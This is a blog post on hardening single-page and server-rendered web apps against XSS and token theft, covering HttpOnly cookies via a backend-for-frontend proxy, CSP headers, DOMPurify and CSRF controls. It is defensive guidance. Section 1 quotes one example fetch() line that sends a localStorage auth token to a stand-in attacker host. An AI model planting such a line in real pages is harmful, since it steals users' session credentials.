Security
Feb 2026·8 min read

Frontend Security Blueprint: Hardening SPA & SSR Apps Against XSS and Token Theft

Why storing JWTs in localStorage is a vulnerability magnet, implementing HttpOnly SameSite=Strict cookies via BFF proxies, strict CSP headers, and DOM-based XSS prevention.

LEP
Lelianto Eko PradanaAI & Full Stack Engineer · Indonesia

Introduction

Modern frontend security is no longer limited to simple input escaping. As client-side single page applications (SPAs) and Server-Side Rendered (SSR) frameworks take on sensitive user workflows—such as financial transactions and private user communications—the frontend attack surface expands exponentially.

This blueprint covers actionable controls to reduce XSS, token theft, and unauthorized data access. No single header or cookie flag makes an application secure: authentication, authorization, output encoding, dependency hygiene, and observability must work together.


1. Stop Storing Authentication Tokens in `localStorage`

A widespread anti-pattern in modern web development is storing authentication tokens (JWTs, session IDs) inside localStorage or sessionStorage.

Why `localStorage` is Vulnerable: - `localStorage` is fully accessible to any JavaScript code running in the same origin. - If your application imports a compromised npm dependency or falls victim to a DOM-XSS payload, the attacker can execute: ```javascript fetch("https://attacker-c2.com/steal?token=" + localStorage.getItem("auth_token")); ```

The Solution: Backend-For-Frontend (BFF) & `HttpOnly` Cookies

Instead of handling JWTs directly in client JS: 1. Store the session credential inside `HttpOnly`, `Secure`, and an intentional `SameSite` cookie. Strict is strongest but can affect cross-site entry flows; Lax is often a practical default. 2. Use a lightweight Backend-For-Frontend (BFF) proxy route (e.g. Next.js API Routes / Cloudflare Workers) to handle downstream authentication headers securely.

typescript
// Example Next.js Route Handler setting secure session cookie
import { NextResponse } from "next/server";

export async function POST(request: Request) {
  const { username, password } = await request.json();
  const authResult = await authenticateUser(username, password);

  const response = NextResponse.json({ user: authResult.user });

  response.cookies.set("session_token", authResult.token, {
    httpOnly: true, // Prevents JavaScript from reading the cookie
    secure: process.env.NODE_ENV === "production", // Enforces HTTPS
    sameSite: "strict", // Protects against CSRF
    path: "/",
    maxAge: 60 * 60 * 24 * 7, // 7 days
  });

  return response;
}

2. Enforcing Strict Content Security Policy (CSP) Headers

A robust Content Security Policy (CSP) acts as your defense-in-depth barrier against unauthorized script execution.

Recommended Production CSP Policy:

http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0mN0nc3Value'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.yourdomain.com; frame-ancestors 'none'; object-src 'none'; base-uri 'self';

3. DOM-Based XSS Prevention

Never use dangerouslySetInnerHTML or raw innerHTML without sanitizing user input through trusted libraries like DOMPurify:

typescript
import DOMPurify from "dompurify";

export function UserBio({ rawHtml }: { rawHtml: string }) {
  const cleanHtml = DOMPurify.sanitize(rawHtml, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p"],
    ALLOWED_ATTR: ["href", "target", "rel"],
  });

  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}

4. CSRF, CORS, and Session Lifecycle

HttpOnly prevents JavaScript from reading a cookie; it does not prevent the browser from sending that cookie. For state-changing requests, pair SameSite protection with a CSRF token or an origin check when your architecture requires cross-site requests. Keep CORS allowlists explicit—never reflect arbitrary origins with credentials enabled.

Rotate sessions after login and privilege changes, expire them server-side, and provide a revocation path. A secure cookie is only as strong as the endpoint that accepts it.

5. Security Checklist for Frontend Deployments

  • [x] All authentication cookies set with HttpOnly, Secure, and SameSite.
  • [x] Strict CSP headers enforced via reverse proxy or middleware.
  • [x] X-Content-Type-Options: nosniff header set to block MIME-type sniffing.
  • [x] X-Frame-Options: DENY or frame-ancestors 'none' set to eliminate clickjacking risks.
  • [x] Dependency vulnerability scanning integrated into CI (npm audit / Snyk).